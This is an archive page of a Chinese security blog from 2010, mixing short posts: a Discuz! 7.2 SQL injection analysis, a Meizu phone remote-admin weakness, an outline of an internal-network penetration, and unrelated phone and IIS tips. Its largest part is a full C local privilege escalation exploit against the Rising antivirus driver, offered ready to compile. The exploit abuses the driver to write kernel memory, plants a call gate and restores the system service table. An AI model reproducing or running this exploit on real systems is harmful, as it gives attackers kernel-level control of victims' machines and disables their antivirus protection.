存档

‘技术文章’ 分类的存档

Discuz! 7.2 最新注入漏洞分析与利用

2010年3月12日 Chinadu 没有评论

在最新的discuz! 7.2中自带了一个新的应用程序插件manyou。恰恰在这个新插件中,没有对传入的参数进行检查,在GPC为off的情况下,导致注入漏洞的产生。
漏洞分析:
文件./manyou/sources/notice.php

相关代码:

if($option == 'del') {

$appid = intval($_GET['appid']);

$db->query("DELETE FROM {$tablepre}myinvite WHERE appid='$appid' AND touid='$discuz_uid'");

showmessage('manyou:done', 'userapp.php?script=notice&action=invite');

} elseif($option == 'deluserapp') {

$hash = trim($_GET['hash']); //此处并没有进行过滤,直接导致注入的产生

if($action == 'invite') {

$query = $db->query("SELECT * FROM {$tablepre}myinvite WHERE hash='$hash' AND touid='$discuz_uid'");

if($value = $db->fetch_array($query)) {

$db->query("DELETE FROM {$tablepre}myinvite WHERE hash='$hash' AND touid='$discuz_uid'");

showmessage('manyou:done', 'userapp.php?script=notice&action=invite');

} else {

showmessage('manyou:noperm');

}

} else {

$db->query("DELETE FROM {$tablepre}mynotice WHERE id='$hash' AND uid='$discuz_uid'");

showmessage('manyou:done', 'userapp.php?script=notice');

}

}

阅读全文...

分类: 技术文章 标签: , ,

魅族M8手机远程管理权限漏洞

2010年3月1日 Chinadu 没有评论

魅族M8手机会打开80端口实现远程Web管理(Windows CE 远程管理工具),但是该管理程序在默认情况下未设置密码,远程访问者可以通过WiFi或者其他网络方式访问到手机的80端口设置密码并打开共享,远程访问者可以通过共享上传下载手机里的文件,同时也可以通过覆盖exe或写入启动文件夹的方式运行手机木马

分类: 技术文章 标签: ,

内网渗透案例

2010年3月1日 Chinadu 没有评论

目录

一.          本次目标的环境.

1.1 内网网络拓图以及平台介绍.

1.2 渗透测试的目的.

1.3 此次渗透目标内容和范围.

1.4 规避的风险.

二. 此次内网渗透过程.

2.1 内网突破(Socket端口转发以及终端连接).

2.2 系统口令获取,Hash破解,管理软件密码破解.

2.3 社会工程学以及密码习惯组合字典扫描收集管理信息.

2.4 内网常用的IPC$共享入侵.

2.5 ARP探嗅以及ARP挂马突破员工PC.

2.6 ERP内部员工办公系统挂马(Internet Explorer Aurora Exploit 2010-01-17)利用.

2.7 利用同步数据软件进行渗透 .

2.8 利用IIS可写权限配合IIS6.0文件后缀名解析漏洞进行突破.

2.9 利用Windows XP 2K远程,local Exploits,溢出进行权限获取和提升.

3.0 以上方法配合反弹远程控制木马配合.

3.0.1 域内的HASH注入攻击突破(未实现成功)

三. 目标系统安全加固解决办法总结.

3.1 访问控制.

3.2 电信和网络安全.

3.3 安全管理与实践.

3.4 应用和系统开发安全.

阅读全文...

分类: 技术文章 标签:

让千千静听不再弹出广告

2010年3月1日 Chinadu 没有评论

1、打开千千静听的安装 目录,删除里面的"info"文件夹 (如果有的话)
2、新建一个文本文档,然后将其命名为"info",注意不要保留任何扩展名,不要保留成 “info.txt”喔。
Windows默认情况下是隐藏了扩展名的,显示扩展名的方法:打开资源管理器>工具>文件夹选项> 查看>高级设置>去掉“不显示已经文件类型的扩展名”前面的勾确定即可.

这样就不会再弹出广告了,一切清静了。其实这个原理很 简单,就是让千千静听不能创建名为info的文件夹,那个文件夹的作用是保存弹出广告的。

S60智能手机开发环境搭建

2010年2月14日 Chinadu 没有评论

摘要:S60是目前智能手机市场占有率最大 的手机平台,具有扩展性好、占用硬件资源少的特点,诺基亚依托此平台,发布了多款深受消费者喜爱的智能手机。本文首先介绍S60手机软件开发过程,然后说 明如何通过互联网上获得的各种免费软件包搭建S60软件开发环境,最后描述了验证开发环境正确性的方法。
关键 词:Symbian;S60;智能手机 Symbian操作系统与S60平台介绍
S60软件开发过程概述
S60软件 开发过程和传统的PC软件开发过程有较大区别。在PC软件开发过程中,编译开发环境即是软件运行环境,我们既在PC上开发程序,又在PC上部署最终开发完 成的软件,其开发过程一般分为程序编写、程序调试和发布三个步骤,如图3-1所示。
点击查看全图
阅读全文...

分类: 技术文章 标签:

国内网络安全风险评估市场与技术操作

2010年2月1日 Chinadu 1 条评论

近两年网络安全风险评估渐渐为人们所重视,不少大型企业尤其是运营商、金 融业都请了专业公司进行评估。本文提出作者个人对国内安全风险评估操作的一些评价,并试图阐述作者所理解的,可裁剪、易操作的风险评估方式。由于内容与商 业公司有关,因此不可避免会涉及部份商业利益,在文中作者尽量隐去可能产生直接利害关系的文字,并声明所有评价纯属个人观点,如果你有不同意见,欢迎来函 探讨。

1. 什么是风险评估

说起风险评估,大家脑海中首先浮现的可能是:风险、资产、影响、威胁、弱点等一连串的术语,这些术语看起来并不难理解,但一旦综合考虑就会象绕口令般组 合。比如风险,用ISO/IEC TR 13335-1:1996中的定义可以解释为: 特定威胁利用某个(些)资产的弱点,造成资产损失或破坏的潜在可能性。

为了帮助理解,我们举一个下里巴人的例子:我口袋里有100块钱,因为打瞌睡,被小偷偷走了,搞得晚上没饭吃。

用风险评估的观点来描述这个案例,我们可以对这些概念作如下理解:

风险 = 钱被偷走
资产 = 100块钱
影响 = 晚上没饭吃
威胁 = 小偷
弱点 = 打瞌睡

回到阳春白雪来,假设这么个案例:某证券公司的数据库服务器因为存在RPC DCOM的漏洞,遭到入侵者攻击,被迫中断3天。

让我们尝试做一道小学时常做的连线题,把左右两边相对应的内容用线段连接起来:

风险		RPC DCOM漏洞
资产		服务器遭到入侵
影响		数据库服务器
威胁		入侵者
弱点		中断三天

如果这道题对你没什么难度,那么恭喜你,你已经和国内大多数风险评估的操作者差不多站在同一个起跑线上了。

阅读全文...

分类: 技术文章 标签:

瑞星本地提权通杀利用代码

2010年1月31日 Chinadu 没有评论

编译后,运行此程序,可在ring3下直接恢复其ssdt,然后就可以为所欲为了,刚才测试1月28日对瑞星2010版有效,据说也适用于2009和 2008版本

//MY Blog:http://hi.baidu.com/9908006

//MY QQ:165659238

//VC-ConsoleWithApi

#include "stdafx.h"

#include "windows.h"

enum { SystemModuleInformation = 11 };

typedef struct {

ULONG Unknown1;

ULONG Unknown2;

PVOID Base;

ULONG Size;

ULONG Flags;

USHORT Index;

USHORT NameLength;

USHORT LoadCount;

USHORT PathLength;

CHAR ImageName[256];

} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;

typedef struct {

ULONG Count;

SYSTEM_MODULE_INFORMATION_ENTRY Module[1];

} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

HANDLE g_RsGdiHandle = 0 ;

void __stdcall WriteKVM(PVOID Address , ULONG Value)

{

ULONG ColorValue = Value ;

ULONG btr ;

ULONG ColorBuffer = 0 ;

DeviceIoControl(g_RsGdiHandle ,

0x83003C0B,

&ColorValue ,

sizeof(ULONG),

&ColorBuffer ,

sizeof(ULONG),

&btr ,

0

);

DeviceIoControl(g_RsGdiHandle ,

0x83003C0B,

&ColorValue ,

sizeof(ULONG),

Address ,

sizeof(ULONG),

&btr ,

0

);

return ;

}

void AddCallGate()

{

ULONG Gdt_Addr;

ULONG CallGateData[0x4];

ULONG Icount;

__asm

{

push edx

sgdt [esp-2]

pop edx

mov Gdt_Addr , edx

}

__asm

{

push 0xc3

push Gdt_Addr

call WriteKVM

mov eax,Gdt_Addr

mov word ptr[CallGateData],ax

shr eax,16

mov word ptr[CallGateData+6],ax

mov dword ptr[CallGateData+2],0x0ec0003e8

mov dword ptr[CallGateData+8],0x0000ffff

mov dword ptr[CallGateData+12],0x00cf9a00

xor eax,eax

LoopWrite:

mov edi,dword ptr CallGateData[eax]

push edi

mov edi,Gdt_Addr

add edi,0x3e0

add edi,eax

push edi

mov Icount,eax

call WriteKVM

mov eax,Icount

add eax , 0x4

cmp eax,0x10

jnz LoopWrite

}

return ;

}

void IntoR0(PVOID function)

{

WORD Callgt[3];

Callgt[0] = 0;

Callgt[1] = 0;

Callgt[2] = 0x3e3;

__asm

{

call fword ptr[Callgt]

mov eax,esp

mov esp,[esp+4]

push eax

call function

pop esp

push offset ring3Ret

retf

ring3Ret:

nop

}

return ;

}

#pragma pack(1)

typedef struct _IDTR

{

SHORT IDTLimit;

UINT IDTBase;

}IDTR,

*PIDTR,

**PPIDTR;

#pragma pack()

ULONG g_RealSSDT = 0 ;

ULONG ServiceNum = 0 ;

ULONG OrgService [0x1000] ;

ULONG RvaToOffset(IMAGE_NT_HEADERS *NT, ULONG Rva)

{

ULONG Offset = Rva, Limit;

IMAGE_SECTION_HEADER *Img;

WORD i;

Img = IMAGE_FIRST_SECTION(NT);

if (Rva < Img->PointerToRawData)

return Rva;

for (i = 0; i < NT->FileHeader.NumberOfSections; i++)

{

if (Img.SizeOfRawData)

Limit = Img.SizeOfRawData;

else

Limit = Img.Misc.VirtualSize;

if (Rva >= Img.VirtualAddress &&

Rva < (Img.VirtualAddress + Limit))

{

if (Img.PointerToRawData != 0)

{

Offset -= Img.VirtualAddress;

Offset += Img.PointerToRawData;

}

return Offset;

}

}

return 0;

}

#define ibaseDD *(PDWORD)&ibase

DWORD GetHeaders(PCHAR ibase, PIMAGE_FILE_HEADER *pfh, PIMAGE_OPTIONAL_HEADER *poh, PIMAGE_SECTION_HEADER *psh)

{

PIMAGE_DOS_HEADER mzhead=(PIMAGE_DOS_HEADER)ibase;

if ((mzhead->e_magic!=IMAGE_DOS_SIGNATURE)||(ibaseDD[mzhead->e_lfanew]!=IMAGE_NT_SIGNATURE)) return FALSE;

*pfh=(PIMAGE_FILE_HEADER)&ibase[mzhead->e_lfanew];

if (((PIMAGE_NT_HEADERS)*pfh)->Signature!=IMAGE_NT_SIGNATURE) return FALSE;

*pfh=(PIMAGE_FILE_HEADER)((PBYTE)*pfh+sizeof(IMAGE_NT_SIGNATURE));

*poh=(PIMAGE_OPTIONAL_HEADER)((PBYTE)*pfh+sizeof(IMAGE_FILE_HEADER));

if ((*poh)->Magic!=IMAGE_NT_OPTIONAL_HDR32_MAGIC) return FALSE;

*psh=(PIMAGE_SECTION_HEADER)((PBYTE)*poh+sizeof(IMAGE_OPTIONAL_HEADER));

return TRUE;

}

typedef struct {

WORD offset:12;

WORD type:4;

} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;

#define RVATOVA(base,offset) ((PVOID)((DWORD)(base)+(DWORD)(offset)))

DWORD FindKiServiceTable(HMODULE hModule,DWORD dwKSDT , PULONG ImageBase)

{

PIMAGE_FILE_HEADER pfh;

PIMAGE_OPTIONAL_HEADER poh;

PIMAGE_SECTION_HEADER psh;

PIMAGE_BASE_RELOCATION pbr;

PIMAGE_FIXUP_ENTRY pfe;

DWORD dwFixups=0,i,dwPointerRva,dwPointsToRva,dwKiServiceTable;

BOOL bFirstChunk;

GetHeaders((PCHAR)hModule,&pfh,&poh,&psh);

if ((poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) &&

(!((pfh->Characteristics)&IMAGE_FILE_RELOCS_STRIPPED))) {

pbr=(PIMAGE_BASE_RELOCATION)RVATOVA(poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress,hModule);

bFirstChunk=TRUE;

while (bFirstChunk || pbr->VirtualAddress) {

bFirstChunk=FALSE;

pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr+sizeof(IMAGE_BASE_RELOCATION));

for (i=0;i<(pbr->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))>>1;i++,pfe++) {

if (pfe->type==IMAGE_REL_BASED_HIGHLOW) {

dwFixups++;

dwPointerRva=pbr->VirtualAddress+pfe->offset;

dwPointsToRva=*(PDWORD)((DWORD)hModule+dwPointerRva)-(DWORD)poh->ImageBase;

if (dwPointsToRva==dwKSDT)

{

if (*(PWORD)((DWORD)hModule+dwPointerRva-2)==0x05c7)

{

dwKiServiceTable=*(PDWORD)((DWORD)hModule+dwPointerRva+4)-poh->ImageBase;

*ImageBase = poh->ImageBase;

return dwKiServiceTable;

}

}

}

}

*(PDWORD)&pbr+=pbr->SizeOfBlock;

}

}

return 0;

}

DWORD CR0Reg ;

ULONG realssdt ;

void InKerneProc()

{

__asm

{

cli

mov eax, cr0

mov CR0Reg,eax

and eax,0xFFFEFFFF

mov cr0, eax

}

int i;

for (i = 0; i < (int)ServiceNum; i++)

{

*(ULONG*)(*(ULONG*)realssdt + i * sizeof(ULONG)) = OrgService;

}

__asm

{

mov eax, CR0Reg

mov cr0, eax

sti

}

}

int main(int argc, char* argv[])

{

printf("Rising AntiVirus 2008 ~ 2010 n"

"Local Privilege Escalation Vulnerability Proof Of Concept Exploitn 2010-1-27n");

g_RsGdiHandle = CreateFile("[url=]\\.\RSNTGDI[/url]" ,

0,

FILE_SHARE_READ | FILE_SHARE_WRITE ,

0,

OPEN_EXISTING , 0 , 0 );

if (g_RsGdiHandle == INVALID_HANDLE_VALUE)

{

return 0 ;

}

SYSTEM_MODULE_INFORMATION ModuleInfo ;

// Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address

HMODULE hlib = GetModuleHandle("ntdll.dll");

PVOID pNtQuerySystemInformation = GetProcAddress(hlib , "NtQuerySystemInformation");

ULONG infosize = sizeof(ModuleInfo);

__asm

{

push 0

push infosize

lea eax , ModuleInfo

push eax

push 11

call pNtQuerySystemInformation

}

HMODULE KernelHandle ;

LPCSTR ntosname = (LPCSTR)((ULONG)ModuleInfo.Module[0].ImageName + ModuleInfo.Module[0].PathLength);

// Load the kernel image specified

KernelHandle = LoadLibrary(ntosname);

if (KernelHandle == 0 )

{

return 0 ;

}

ULONG KeSSDT = (ULONG)GetProcAddress(KernelHandle , "KeServiceDescriptorTable");

if (KeSSDT == 0 )

{

return 0 ;

}

ULONG ImageBase = 0 ;

ULONG KiSSDT = FindKiServiceTable(KernelHandle , KeSSDT - (ULONG)KernelHandle , &ImageBase);

if (KiSSDT == 0 )

{

return 0 ;

}

KiSSDT += (ULONG)KernelHandle;

ServiceNum = 0x11c ;

ULONG i ;

for (i = 0 ; i < ServiceNum ; i ++)

{

OrgService = *(ULONG*)(KiSSDT + i * sizeof(ULONG)) + (ULONG)ModuleInfo.Module[0].Base - ImageBase;

}

realssdt = KeSSDT - (ULONG)KernelHandle + (ULONG)ModuleInfo.Module[0].Base;

SetThreadAffinityMask(GetCurrentThread () , 0 ) ;

AddCallGate();

IntoR0(InKerneProc);

return 0;

}

分类: 技术文章 标签: , ,

ASP.NET+Win2003虚拟主机安全设置

2010年1月27日 Chinadu 没有评论

我们举例详细说明在运行ASP.NET的 windows 2003虚拟主机上,对于多个ASP.NET站点的安全配置;
在这里,我们的站点目录放在D盘的www文件夹,假设现在有一个名叫fesend的虚拟主机用户,我们在www文件夹下建立 fesend 的文件夹来存放此用户的站点数据

其中要用到以下组及帐号:
IIS_WPG 组(也称为 IIS 工作进程组,IIS Worker Process Group)
Guests组 (来宾组,在系统中拥有最少的权限)

Internet 来宾帐户 (匿名访问 Internet 信息服务的内置帐户)
启动 IIS 进程帐户 (用于启动进程外应用程序的 Internet 信息服务的内置帐户)
阅读全文...

5800备份和恢复资料

2010年1月22日 Chinadu 没有评论

1、备份

按功能表----》应用程序----》

阅读全文...

分类: 技术文章 标签: ,

5800详细刷机步骤

2010年1月22日 Chinadu 没有评论

>>>>>>>>>>>>>>>>>>>>升级存在一定风险,使用前请三思.<<<<<<<<<<<<<<<<<<<

一、了解5800MX其本知识

1、5800MX频段

RM-427:只支持GSM 900/1800
RM-356:HSDPA,WCDMA  900/2100
RM-428:HSDPA,WCDMA  850/1900

2、销售地区

RM-356:销售地区包括香港、亚太、欧洲等。
RM-428:美版,不能用国内的3G(W-CDMA),销售地区包括北美、南美、澳洲等。
RM-427:国行(包括定制机),无WLAN、3G。专为中国设计。

3、快捷键

*#06#     查询IMEI号码 所有手机
*#0000#   查询当前软件版本号  所有手机通用
*#2820# 查询蓝牙设备地址   S60和S40手机通用
*#7370#   格式化手机(原始密码12345)

二、可升级Code

1、升级V31有中文Code,已测试,
阅读全文...

分类: 技术文章 标签: ,